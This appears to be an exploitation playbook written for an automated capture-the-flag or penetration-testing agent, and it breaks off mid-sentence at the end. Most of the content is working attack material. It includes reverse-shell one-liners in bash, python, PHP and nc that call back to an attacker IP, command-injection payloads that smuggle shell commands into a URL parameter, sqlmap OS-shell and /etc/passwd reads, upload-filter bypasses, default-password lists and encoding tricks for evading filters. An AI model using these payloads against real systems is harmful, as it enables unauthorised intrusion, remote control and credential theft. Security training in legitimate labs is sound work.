Exploitation Knowledge Base

Purpose

This knowledge base provides comprehensive exploitation methodologies and techniques. It covers converting discovered vulnerabilities into actual access, finding and adapting exploits, working in non-interactive environments, establishing stable shells, and capturing the user flag.

Core Topics Covered

1. Exploit Discovery: Finding relevant exploits for discovered services
2. Exploit Adaptation: Modifying exploits to work in the target environment
3. Initial Access: Gaining command execution or shell access
4. Shell Stabilization: Upgrading to stable, usable shells
5. User Flag Capture: Locating and reading user.txt

Tools Available

Exploit Databases

• searchsploit - Local exploit-db search
• msfconsole - Metasploit framework
• Manual search: ExploitDB, GitHub, security advisories

Shell Tools

• Reverse shells: bash, python, php, nc
• Web shells: PHP, ASP, JSP
• rlwrap nc - Stabilize shells

Web Exploitation

• sqlmap - SQL injection
• curl - Manual web testing
• File upload bypass techniques
• Command injection testing

Credential Testing

• hydra - Service brute force (limited use)
• ssh/ftp/mysql - Test discovered credentials

Exploitation Workflow

Phase 1: Multi-Source Exploit Discovery

Core Principle: Use multiple exploit sources in parallel - never rely on a single source.

Layered Exploit Search:

# Layer 1: Local database (fastest)
searchsploit "service version"
searchsploit CVE-YYYY-XXXXX
# If found → proceed to analysis
# If not found → immediately try Layer 2

# Layer 2: Metasploit framework
msfconsole -q -x "search type:exploit name:service_name; exit"
# If found → test with msfconsole
# If not found → immediately try Layer 3

# Layer 3: Online sources (GitHub, Google)
# GitHub API search (automated)
curl -s "https://api.github.com/search/repositories?q=CVE-YYYY-XXXXX+exploit" | jq -r '.items[].html_url'

# Google search (manual if needed)
# Search: "CVE-YYYY-XXXXX exploit poc github"
# Search: "service_name version exploit"

# Layer 4: Adapt or create custom exploit
# Based on vulnerability description/advisory
# Modify existing PoC for your environment

Critical Rules:

1. Try all layers - Don't stop at Layer 1 failure
2. Parallel search - If time allows, search multiple sources simultaneously
3. Cross-validate - If multiple exploits exist, try most reliable/recent first
4. Track sources - Record which source worked in successful_paths

Phase 2: Exploit Analysis

Before running:

1. Read the exploit code - understand what it does
2. Check requirements - needed libraries, credentials
3. Identify target parameters - IP, port, payload location
4. Plan adaptation - what needs to be modified

Phase 3: Exploit Adaptation

Common modifications needed:

A. Python Exploits

# Original (interactive)
import sys
target = sys.argv[1]
shell = raw_input("Enter command: ")

# Adapted (non-interactive)
target = "10.10.10.1"
shell = "/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

B. Metasploit Exploits

# Use non-interactive mode
msfconsole -q -x "use exploit/linux/http/webmin_backdoor; set RHOSTS 10.10.10.1; set LHOST YOUR_IP; run; exit"

C. Reverse Shell Payloads

# Bash reverse shell
bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

# Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# PHP reverse shell (for uploads)
<?php system("bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); ?>

# NC reverse shell
nc YOUR_IP 4444 -e /bin/bash
# Or if -e not available:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP 4444 >/tmp/f

Phase 4: Listener Setup

Always start listener before triggering exploit:

# Simple listener
nc -lvnp 4444

# Stabilized listener with rlwrap
rlwrap nc -lvnp 4444

Phase 5: Execution

Execute exploit and verify success:

# Run exploit
python3 exploit.py

# If successful, you should see connection in listener
# Test with:
id
whoami
pwd

Phase 6: Shell Stabilization

Once you have basic shell:

# Upgrade to TTY shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then press Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Common Attack Vectors

1. File Upload Vulnerabilities

# Test simple upload
curl -F "file=@shell.php" http://TARGET/upload.php

# Bypass restrictions
# Try: shell.php.jpg, shell.phtml, shell.php5, shell.PhP

# Find uploaded file
gobuster dir -u http://TARGET/uploads -x php,phtml

# Trigger shell
curl http://TARGET/uploads/shell.php?cmd=id

2. SQL Injection

# Test for SQLi
sqlmap -u "http://TARGET/page.php?id=1" --batch --level=5 --risk=3

# If found, try to get shell
sqlmap -u "http://TARGET/page.php?id=1" --os-shell

# Or read files
sqlmap -u "http://TARGET/page.php?id=1" --file-read=/etc/passwd

3. Command Injection

# Test common injection points
curl "http://TARGET/ping.php?ip=127.0.0.1;id"
curl "http://TARGET/ping.php?ip=127.0.0.1|whoami"
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"

# Get reverse shell
curl "http://TARGET/ping.php?ip=;bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

4. Public Exploits

# If you find CVE-2021-XXXX is applicable
# Search for PoC
searchsploit CVE-2021-XXXX
# Or check GitHub
curl -s "https://api.github.com/search/repositories?q=CVE-2021-XXXX" | jq -r '.items[].html_url'

# Download and adapt
wget https://raw.githubusercontent.com/user/repo/exploit.py
# Modify target IP, ports, payload
# Run
python3 exploit.py

5. Default Credentials

Test these FIRST before complex exploits:

# SSH
ssh admin@TARGET  # Try: admin/admin, root/root, root/toor

# FTP
ftp TARGET  # Try: anonymous/anonymous, admin/admin

# MySQL
mysql -h TARGET -u root -p  # Try: root/'', root/root

# Web Admin Panels
# Try: admin/admin, admin/password, admin/admin123

Environment Detection and Payload Adaptation

Core Principle: Always probe environment before choosing exploitation method.

Pre-Exploitation Environment Check

Check your attacking machine:

# Check critical tools and versions
java -version 2>&1 | head -1       # For JNDI, deserialization exploits
python3 --version                  # For exploit scripts
gcc --version                      # For compiling exploits
which nc netcat ncat               # For reverse shells

# Record environment limitations
# Example: If Java > 8, JNDI injection will be blocked
# Example: If no gcc, can't compile C exploits → need precompiled or script-based

Check target environment (after gaining RCE):

# Via webshell or command injection, test what's available:
which nc python python3 php perl bash sh curl wget

# Test specific versions if exploit requires them
python --version
php --version

# Check writable directories
ls -la /tmp /dev/shm /var/tmp

# Check for filtering/WAF
# Try: echo test
# Try: cat /etc/passwd
# If blocked, try base64 encoding or other bypass

Adaptive Payload Selection

Decision Tree for Reverse Shells:

1. Do we have RCE?
   └─ Yes → Proceed to step 2
   └─ No → Get RCE first (file upload, SQLi, etc.)

2. Check target environment
   └─ nc available? → Use nc reverse shell
   └─ python available? → Use python reverse shell
   └─ php available? (web server) → Use PHP reverse shell
   └─ bash available? → Use bash /dev/tcp method
   └─ None? → Upload binary or use alternative method

3. Test for filtering
   └─ Try basic command: echo test
   └─ If special chars blocked (/, &, >, |) → Use encoding:
      - Base64: echo BASE64 | base64 -d | bash
      - Hex encoding
      - URL encoding
   └─ If commands filtered by keyword → Try alternat